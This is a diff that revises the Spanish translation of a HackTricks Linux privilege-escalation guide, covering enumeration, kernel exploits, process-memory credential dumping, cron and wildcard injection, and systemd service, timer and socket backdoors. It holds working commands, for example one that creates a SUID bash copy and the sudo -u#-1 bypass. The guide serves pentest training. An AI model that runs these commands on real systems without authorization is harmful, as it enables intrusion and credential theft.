diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 4923d0da9..622691f15 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -1,24 +1,24 @@ -# Escalación de Privilegios en Linux +# Linux Privilege Escalation {{#include ../../banners/hacktricks-training.md}} -## Información del Sistema +## Información del sistema -### Información del SO +### Información del sistema operativo -Comencemos a obtener información sobre el SO en ejecución +Comencemos a obtener información sobre el sistema operativo en ejecución ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Ruta +### Path -Si **tienes permisos de escritura en alguna carpeta dentro de la variable `PATH`** es posible que puedas secuestrar algunas bibliotecas o binarios: +Si **tienes permisos de escritura en cualquier carpeta dentro de la variable `PATH`**, podrías ser capaz de secuestrar algunas librerías o binarios: ```bash echo $PATH ``` -### Env info +### Información del entorno ¿Información interesante, contraseñas o claves API en las variables de entorno? ```bash @@ -26,30 +26,30 @@ echo $PATH ``` ### Kernel exploits -Verifica la versión del kernel y si hay algún exploit que se pueda utilizar para escalar privilegios. +Comprueba la versión del kernel y si existe algún exploit que pueda usarse para escalar privilegios ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Puedes encontrar una buena lista de núcleos vulnerables y algunos **exploits compilados** aquí: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) y [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Otros sitios donde puedes encontrar algunos **exploits compilados**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Puedes encontrar una buena lista de kernels vulnerables y algunos **compiled exploits** aquí: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Otros sitios donde puedes encontrar algunos **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Para extraer todas las versiones de núcleo vulnerables de esa web, puedes hacer: +Para extraer todas las versiones del kernel vulnerables de ese sitio puedes hacer: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Las herramientas que podrían ayudar a buscar exploits del kernel son: +Herramientas que pueden ayudar a buscar exploits del kernel son: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ejecutar EN la víctima, solo verifica exploits para el kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ejecutar EN la víctima, solo comprueba exploits para kernel 2.x) -Siempre **busca la versión del kernel en Google**, tal vez tu versión del kernel esté escrita en algún exploit del kernel y así estarás seguro de que este exploit es válido. +Siempre **busca la versión del kernel en Google**, puede que tu versión del kernel esté mencionada en algún exploit del kernel y así te asegurarás de que ese exploit es válido. ### CVE-2016-5195 (DirtyCow) -Escalación de privilegios en Linux - Kernel de Linux <= 3.19.0-73.8 +Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -63,7 +63,7 @@ Basado en las versiones vulnerables de sudo que aparecen en: ```bash searchsploit sudo ``` -Puedes verificar si la versión de sudo es vulnerable usando este grep. +Puedes comprobar si la versión de sudo es vulnerable usando este grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,9 +73,9 @@ De @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg signature verification failed +### Dmesg verificación de firma fallida -Check **smasher2 box of HTB** for an **example** of how this vuln could be exploited +Consulta **smasher2 box of HTB** para ver un **ejemplo** de cómo se podría explotar esta vuln ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,15 +123,16 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Si estás dentro de un contenedor de docker, puedes intentar escapar de él: +Si estás dentro de un docker container, puedes intentar escapar de él: + {{#ref}} docker-security/ {{#endref}} -## Drives +## Unidades -Verifica **qué está montado y desmontado**, dónde y por qué. Si algo está desmontado, podrías intentar montarlo y buscar información privada. +Comprueba **qué está montado y desmontado**, dónde y por qué. Si algo está desmontado, podrías intentar montarlo y buscar información privada. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,60 +141,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Software útil -Enumera binarios útiles +Enumerar binarios útiles ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -También, verifica si **algún compilador está instalado**. Esto es útil si necesitas usar algún exploit del kernel, ya que se recomienda compilarlo en la máquina donde lo vas a usar (o en una similar). +Además, comprueba si **algún compilador está instalado**. Esto es útil si necesitas usar algún kernel exploit, ya que se recomienda compilarlo en la máquina donde lo vas a usar (o en una similar) ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Software Vulnerable Instalado +### Software vulnerable instalado -Verifique la **versión de los paquetes y servicios instalados**. Puede que haya alguna versión antigua de Nagios (por ejemplo) que podría ser explotada para escalar privilegios...\ -Se recomienda verificar manualmente la versión del software instalado más sospechoso. +Comprueba la **versión de los paquetes y servicios instalados**. Puede que exista alguna versión antigua de Nagios (por ejemplo) que podría explotarse para escalating privileges…\ +Se recomienda comprobar manualmente la versión del software instalado que parezca más sospechoso. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Si tienes acceso SSH a la máquina, también podrías usar **openVAS** para verificar si hay software desactualizado y vulnerable instalado en la máquina. +If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil, por lo tanto, se recomienda algunas aplicaciones como OpenVAS o similares que verificarán si alguna versión de software instalada es vulnerable a exploits conocidos._ +> [!NOTE] > _Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil, por lo tanto se recomiendan aplicaciones como OpenVAS o similares que comprobarán si alguna versión de software instalada es vulnerable a exploits conocidos_ ## Procesos -Echa un vistazo a **qué procesos** se están ejecutando y verifica si algún proceso tiene **más privilegios de los que debería** (¿quizás un tomcat ejecutado por root?). +Echa un vistazo a **qué procesos** se están ejecutando y verifica si algún proceso tiene **más privilegios de los que debería** (¿quizás un tomcat ejecutándose como root?) ```bash ps aux ps -ef top -n 1 ``` -Siempre verifica si hay posibles [**depuradores de electron/cef/chromium**] corriendo, podrías abusar de ello para escalar privilegios](electron-cef-chromium-debugger-abuse.md). **Linpeas** los detecta revisando el parámetro `--inspect` dentro de la línea de comandos del proceso.\ -También **verifica tus privilegios sobre los binarios de los procesos**, tal vez puedas sobrescribir a alguien. +Revisa siempre si hay [**electron/cef/chromium debuggers** ejecutándose; podrías abusar de ellos para escalar privilegios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta esos comprobando el parámetro `--inspect` dentro de la línea de comandos del proceso.\ +También **verifica tus privilegios sobre los binarios de los procesos**, quizá puedas sobrescribir alguno. ### Monitoreo de procesos -Puedes usar herramientas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorear procesos. Esto puede ser muy útil para identificar procesos vulnerables que se están ejecutando con frecuencia o cuando se cumplen un conjunto de requisitos. +Puedes usar herramientas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorizar procesos. Esto puede ser muy útil para identificar procesos vulnerables que se ejecutan con frecuencia o cuando se cumplen un conjunto de requisitos. -### Memoria del proceso +### Memoria de procesos Algunos servicios de un servidor guardan **credenciales en texto claro dentro de la memoria**.\ -Normalmente necesitarás **privilegios de root** para leer la memoria de procesos que pertenecen a otros usuarios, por lo tanto, esto suele ser más útil cuando ya eres root y quieres descubrir más credenciales.\ +Normalmente necesitarás **root privileges** para leer la memoria de procesos que pertenecen a otros usuarios, por lo tanto esto suele ser más útil cuando ya eres root y quieres descubrir más credenciales.\ Sin embargo, recuerda que **como usuario regular puedes leer la memoria de los procesos que posees**. > [!WARNING] -> Ten en cuenta que hoy en día la mayoría de las máquinas **no permiten ptrace por defecto**, lo que significa que no puedes volcar otros procesos que pertenecen a tu usuario sin privilegios. +> Ten en cuenta que hoy en día la mayoría de máquinas **no permiten ptrace por defecto**, lo que significa que no puedes volcar otros procesos que pertenezcan a tu usuario sin privilegios. > > El archivo _**/proc/sys/kernel/yama/ptrace_scope**_ controla la accesibilidad de ptrace: > -> - **kernel.yama.ptrace_scope = 0**: todos los procesos pueden ser depurados, siempre que tengan el mismo uid. Esta es la forma clásica en que funcionaba el ptracing. +> - **kernel.yama.ptrace_scope = 0**: todos los procesos pueden ser depurados, siempre que tengan el mismo uid. Esta es la forma clásica de cómo funcionaba ptracing. > - **kernel.yama.ptrace_scope = 1**: solo un proceso padre puede ser depurado. -> - **kernel.yama.ptrace_scope = 2**: solo el administrador puede usar ptrace, ya que requiere la capacidad CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: No se pueden rastrear procesos con ptrace. Una vez establecido, se necesita un reinicio para habilitar nuevamente el ptracing. +> - **kernel.yama.ptrace_scope = 2**: Solo el admin puede usar ptrace, ya que requiere la capacidad CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: No se puede trazar ningún proceso con ptrace. Una vez establecido, es necesario reiniciar para habilitar ptracing nuevamente. #### GDB -Si tienes acceso a la memoria de un servicio FTP (por ejemplo), podrías obtener el Heap y buscar dentro de sus credenciales. +Si tienes acceso a la memoria de un servicio FTP (por ejemplo) podrías obtener el Heap y buscar en su interior las credenciales. ```bash gdb -p (gdb) info proc mappings @@ -215,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Para un ID de proceso dado, **maps muestra cómo se mapea la memoria dentro del espacio de direcciones virtuales de ese proceso**; también muestra los **permisos de cada región mapeada**. El **archivo** mem **pseudo expone la memoria de los procesos**. A partir del archivo **maps** sabemos qué **regiones de memoria son legibles** y sus desplazamientos. Usamos esta información para **buscar en el archivo mem y volcar todas las regiones legibles** a un archivo. +Para un ID de proceso dado, **maps muestran cómo la memoria está mapeada dentro del espacio de direcciones virtual de ese proceso**; también muestra las **permisiones de cada región mapeada**. El archivo pseudo **mem** **expone la propia memoria del proceso**. Desde el archivo **maps** sabemos qué **regiones de memoria son legibles** y sus desplazamientos. Usamos esta información para **hacer seek en el archivo mem y dump todas las regiones legibles** en un archivo. ```bash procdump() ( @@ -230,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` proporciona acceso a la **memoria** física del sistema, no a la memoria virtual. El espacio de direcciones virtuales del kernel se puede acceder utilizando /dev/kmem.\ +`/dev/mem` proporciona acceso a la memoria **física** del sistema, no a la memoria virtual. El espacio de direcciones virtuales del kernel puede ser accedido usando /dev/kmem.\ Típicamente, `/dev/mem` solo es legible por **root** y el grupo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump para linux +### ProcDump para Linux -ProcDump es una reinterpretación de Linux de la clásica herramienta ProcDump de la suite de herramientas Sysinternals para Windows. Consíguelo en [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump es una versión para Linux de la clásica herramienta ProcDump de la suite Sysinternals para Windows. Consíguelo en [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -266,40 +267,40 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Herramientas -Para volcar la memoria de un proceso, puedes usar: +Para volcar la memoria de un proceso puedes usar: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puedes eliminar manualmente los requisitos de root y volcar el proceso que te pertenece -- Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (se requiere root) +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (se requiere root) -### Credenciales de la memoria del proceso +### Credenciales desde la memoria del proceso #### Ejemplo manual -Si encuentras que el proceso del autenticador está en ejecución: +Si encuentras que el proceso authenticator está en ejecución: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Puedes volcar el proceso (consulta las secciones anteriores para encontrar diferentes formas de volcar la memoria de un proceso) y buscar credenciales dentro de la memoria: +Puedes dump the process (ver las secciones anteriores para encontrar diferentes maneras de dump the memory of a process) y buscar credentials dentro de la memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **robará credenciales en texto claro de la memoria** y de algunos **archivos bien conocidos**. Requiere privilegios de root para funcionar correctamente. +La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **extraerá credenciales en texto claro de la memoria** y de algunos **archivos bien conocidos**. Requiere privilegios root para funcionar correctamente. -| Característica | Nombre del Proceso | -| -------------------------------------------------- | -------------------- | -| Contraseña de GDM (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Conexiones FTP Activas) | vsftpd | -| Apache2 (Sesiones Activas de Autenticación HTTP Básica) | apache2 | -| OpenSSH (Sesiones SSH Activas - Uso de Sudo) | sshd: | +| Funcionalidad | Nombre del proceso | +| ------------------------------------------------- | -------------------- | +| Contraseña de GDM (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Expresiones regulares de búsqueda/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -313,9 +314,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Scheduled/Cron jobs +## Tareas programadas/Cron jobs -Verifica si algún trabajo programado es vulnerable. Tal vez puedas aprovechar un script que está siendo ejecutado por root (¿vulnerabilidad de comodín? ¿puede modificar archivos que usa root? ¿usar enlaces simbólicos? ¿crear archivos específicos en el directorio que usa root?). +Comprueba si alguna tarea programada es vulnerable. Quizás puedas aprovechar un script ejecutado por root (wildcard vuln? ¿puedes modificar archivos que root usa? ¿usar symlinks? ¿crear archivos específicos en el directorio que root usa?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -323,57 +324,57 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Ruta de Cron -Por ejemplo, dentro de _/etc/crontab_ puedes encontrar la RUTA: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Por ejemplo, dentro de _/etc/crontab_ puedes encontrar el PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ (_Nota cómo el usuario "user" tiene privilegios de escritura sobre /home/user_) -Si dentro de este crontab el usuario root intenta ejecutar algún comando o script sin establecer la ruta. Por ejemplo: _\* \* \* \* root overwrite.sh_\ -Entonces, puedes obtener un shell de root usando: +Si dentro de este crontab el usuario root intenta ejecutar algún comando o script sin establecer el PATH. Por ejemplo: _\* \* \* \* root overwrite.sh_\ +Entonces, puedes obtener un root shell usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron usando un script con un comodín (Inyección de comodín) +### Cron using a script with a wildcard (Wildcard Injection) -Si un script ejecutado por root tiene un “**\***” dentro de un comando, podrías explotar esto para hacer cosas inesperadas (como privesc). Ejemplo: +Si un script es ejecutado por root y tiene un “**\***” dentro de un comando, podrías explotarlo para causar comportamientos inesperados (como privesc). Ejemplo: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Si el comodín está precedido por una ruta como** _**/some/path/\***_ **, no es vulnerable (incluso** _**./\***_ **no lo es).** +**Si el wildcard va precedido de una ruta como** _**/some/path/\***_ **, no es vulnerable (ni siquiera** _**./\***_ **lo es).** -Lee la siguiente página para más trucos de explotación de comodines: +Lee la siguiente página para más trucos de explotación de wildcard: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Sobrescritura de script de Cron y symlink +### Cron script overwriting and symlink -Si **puedes modificar un script de cron** ejecutado por root, puedes obtener un shell muy fácilmente: +Si **puedes modificar un cron script** ejecutado por root, puedes obtener un shell muy fácilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Si el script ejecutado por root utiliza un **directorio donde tienes acceso total**, podría ser útil eliminar esa carpeta y **crear un enlace simbólico a otra** que sirva un script controlado por ti. +Si el script ejecutado por root usa un **directorio donde tienes acceso completo**, podría ser útil eliminar esa carpeta y **crear un symlink hacia otra carpeta** que sirva un script controlado por ti ```bash ln -d -s ``` -### Trabajos cron frecuentes +### Cron jobs frecuentes -Puedes monitorear los procesos para buscar aquellos que se están ejecutando cada 1, 2 o 5 minutos. Tal vez puedas aprovechar esto y escalar privilegios. +Puedes monitorizar los procesos para buscar procesos que se están ejecutando cada 1, 2 o 5 minutos. Quizás puedas aprovecharlo y escalar privilegios. -Por ejemplo, para **monitorear cada 0.1s durante 1 minuto**, **ordenar por los comandos menos ejecutados** y eliminar los comandos que se han ejecutado más, puedes hacer: +For example, to **monitorizar cada 0.1s durante 1 minuto**, **ordenar por comandos menos ejecutados** y eliminar los comandos que se han ejecutado más, puedes hacer: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**También puedes usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (esto monitoreará y listará cada proceso que inicie). +**También puedes usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (esto monitorizará y listará cada proceso que se inicie). -### Trabajos cron invisibles +### Cron jobs invisibles -Es posible crear un trabajo cron **poniendo un retorno de carro después de un comentario** (sin carácter de nueva línea), y el trabajo cron funcionará. Ejemplo (nota el carácter de retorno de carro): +Es posible crear un cronjob **colocando un retorno de carro después de un comentario** (sin el carácter de nueva línea), y el cron job funcionará. Ejemplo (nota el carácter de retorno de carro): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -381,32 +382,32 @@ Es posible crear un trabajo cron **poniendo un retorno de carro después de un c ### Archivos _.service_ escribibles -Verifica si puedes escribir en algún archivo `.service`, si puedes, **podrías modificarlo** para que **ejecute** tu **puerta trasera cuando** el servicio sea **iniciado**, **reiniciado** o **detenido** (quizás necesites esperar hasta que la máquina se reinicie).\ -Por ejemplo, crea tu puerta trasera dentro del archivo .service con **`ExecStart=/tmp/script.sh`** +Comprueba si puedes escribir cualquier archivo `.service`, si puedes, **podrías modificarlo** para que **ejecute** tu **backdoor cuando** el servicio se **inicie**, **reinicie** o **se detenga** (tal vez necesites esperar hasta que la máquina sea reiniciada).\ +Por ejemplo, crea tu backdoor dentro del archivo .service con **`ExecStart=/tmp/script.sh`** ### Binarios de servicio escribibles -Ten en cuenta que si tienes **permisos de escritura sobre los binarios que están siendo ejecutados por servicios**, puedes cambiarlos por puertas traseras para que cuando los servicios se vuelvan a ejecutar, las puertas traseras sean ejecutadas. +Ten en cuenta que si tienes **permisos de escritura sobre binarios ejecutados por servicios**, puedes cambiarlos por backdoors para que cuando los servicios se vuelvan a ejecutar se ejecuten los backdoors. ### systemd PATH - Rutas relativas -Puedes ver el PATH utilizado por **systemd** con: +Puedes ver el PATH usado por **systemd** con: ```bash systemctl show-environment ``` -Si encuentras que puedes **escribir** en cualquiera de las carpetas de la ruta, es posible que puedas **escalar privilegios**. Necesitas buscar **rutas relativas que se utilizan en los archivos de configuración de servicios** como: +Si descubres que puedes **escribir** en cualquiera de las carpetas de la ruta, es posible que puedas **escalar privilegios**. Debes buscar **rutas relativas usadas en archivos de configuración de servicios** como: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Luego, crea un **ejecutable** con el **mismo nombre que la ruta relativa del binario** dentro de la carpeta PATH de systemd en la que puedas escribir, y cuando se le pida al servicio que ejecute la acción vulnerable (**Iniciar**, **Detener**, **Recargar**), tu **puerta trasera se ejecutará** (los usuarios sin privilegios generalmente no pueden iniciar/detener servicios, pero verifica si puedes usar `sudo -l`). +Entonces, crea un **ejecutable** con el **mismo nombre que el binario de la ruta relativa** dentro de la carpeta del PATH de systemd a la que puedas escribir, y cuando al servicio se le pida ejecutar la acción vulnerable (**Start**, **Stop**, **Reload**), tu **backdoor se ejecutará** (los usuarios sin privilegios normalmente no pueden iniciar/detener servicios, pero comprueba si puedes usar `sudo -l`). -**Aprende más sobre los servicios con `man systemd.service`.** +**Aprende más sobre servicios con `man systemd.service`.** ## **Temporizadores** -Los **Temporizadores** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan archivos o eventos de `**.service**`. Los **Temporizadores** se pueden usar como una alternativa a cron, ya que tienen soporte incorporado para eventos de tiempo calendario y eventos de tiempo monótono y se pueden ejecutar de forma asíncrona. +Los **temporizadores** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` y que controlan archivos o eventos `**.service**`. Los **temporizadores** pueden usarse como alternativa a cron, ya que tienen soporte integrado para eventos de tiempo de calendario y eventos de tiempo monotónico y pueden ejecutarse de forma asincrónica. Puedes enumerar todos los temporizadores con: ```bash @@ -418,54 +419,54 @@ Si puedes modificar un temporizador, puedes hacer que ejecute algunas instancias ```bash Unit=backdoor.service ``` -En la documentación puedes leer qué es la unidad: +En la documentación puedes leer qué es la Unit: -> La unidad que se activa cuando se agota este temporizador. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor predeterminado es un servicio que tiene el mismo nombre que la unidad del temporizador, excepto por el sufijo. (Ver arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad del temporizador tengan el mismo nombre, excepto por el sufijo. +> La unidad que se activa cuando expira este timer. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor por defecto es un service que tiene el mismo nombre que la unidad de timer, excepto por el sufijo. (Ver arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad del timer se llamen idénticamente, excepto por el sufijo. Por lo tanto, para abusar de este permiso necesitarías: -- Encontrar alguna unidad systemd (como un `.service`) que esté **ejecutando un binario escribible** -- Encontrar alguna unidad systemd que esté **ejecutando una ruta relativa** y que tengas **privilegios de escritura** sobre el **PATH de systemd** (para suplantar ese ejecutable) +- Encontrar alguna unidad systemd (como `.service`) que esté **ejecutando un binario escribible** +- Encontrar alguna unidad systemd que esté **ejecutando una ruta relativa** y sobre la que tengas **privilegios de escritura** en el **systemd PATH** (para suplantar ese ejecutable) -**Aprende más sobre temporizadores con `man systemd.timer`.** +**Aprende más sobre timers con `man systemd.timer`.** -### **Habilitando el Temporizador** +### **Habilitar timer** -Para habilitar un temporizador necesitas privilegios de root y ejecutar: +Para habilitar un timer necesitas privilegios root y ejecutar: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Note que el **temporizador** está **activado** al crear un symlink a él en `/etc/systemd/system/.wants/.timer` +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## Sockets -Los Sockets de Dominio Unix (UDS) permiten la **comunicación entre procesos** en las mismas o diferentes máquinas dentro de modelos cliente-servidor. Utilizan archivos de descriptor estándar de Unix para la comunicación entre computadoras y se configuran a través de archivos `.socket`. +Unix Domain Sockets (UDS) permiten la **comunicación entre procesos** en la misma o en diferentes máquinas dentro de modelos cliente-servidor. Utilizan archivos de descriptor Unix estándar para la comunicación entre equipos y se configuran mediante archivos `.socket`. -Los sockets se pueden configurar utilizando archivos `.socket`. +Sockets can be configured using `.socket` files. -**Aprende más sobre sockets con `man systemd.socket`.** Dentro de este archivo, se pueden configurar varios parámetros interesantes: +**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son diferentes, pero se utiliza un resumen para **indicar dónde va a escuchar** el socket (la ruta del archivo de socket AF_UNIX, la IPv4/6 y/o el número de puerto a escuchar, etc.) -- `Accept`: Toma un argumento booleano. Si es **true**, se **crea una instancia de servicio para cada conexión entrante** y solo se pasa el socket de conexión a ella. Si es **false**, todos los sockets de escucha se **pasan a la unidad de servicio iniciada**, y solo se crea una unidad de servicio para todas las conexiones. Este valor se ignora para sockets de datagramas y FIFOs donde una sola unidad de servicio maneja incondicionalmente todo el tráfico entrante. **Por defecto es false**. Por razones de rendimiento, se recomienda escribir nuevos demonios solo de una manera que sea adecuada para `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Toma una o más líneas de comando, que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **creados** y vinculados, respectivamente. El primer token de la línea de comando debe ser un nombre de archivo absoluto, seguido de argumentos para el proceso. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son diferentes, pero en resumen se usan para **indicar dónde va a escuchar** el socket (la ruta del archivo de socket AF_UNIX, la dirección IPv4/6 y/o el número de puerto a escuchar, etc.) +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Toman una o más líneas de comando, que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **creados** y enlazados, respectivamente. El primer token de la línea de comando debe ser un nombre de archivo absoluto, seguido de los argumentos para el proceso. - `ExecStopPre`, `ExecStopPost`: Comandos adicionales que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **cerrados** y eliminados, respectivamente. -- `Service`: Especifica el nombre de la unidad de **servicio** **a activar** en el **tráfico entrante**. Esta configuración solo se permite para sockets con Accept=no. Por defecto, se utiliza el servicio que lleva el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos, no debería ser necesario usar esta opción. +- `Service`: Especifica el nombre de la unidad de **service** que se debe **activar** ante **tráfico entrante**. Esta opción solo está permitida para sockets con Accept=no. Por defecto apunta al service que tiene el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos no debería ser necesario usar esta opción. -### Archivos .socket escribibles +### Writable .socket files -Si encuentras un archivo `.socket` **escribible**, puedes **agregar** al principio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\ -_Ten en cuenta que el sistema debe estar utilizando esa configuración de archivo de socket o el backdoor no se ejecutará_ +Si encuentras un archivo `.socket` **escribible** puedes **agregar** al inicio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que se cree el socket. Por lo 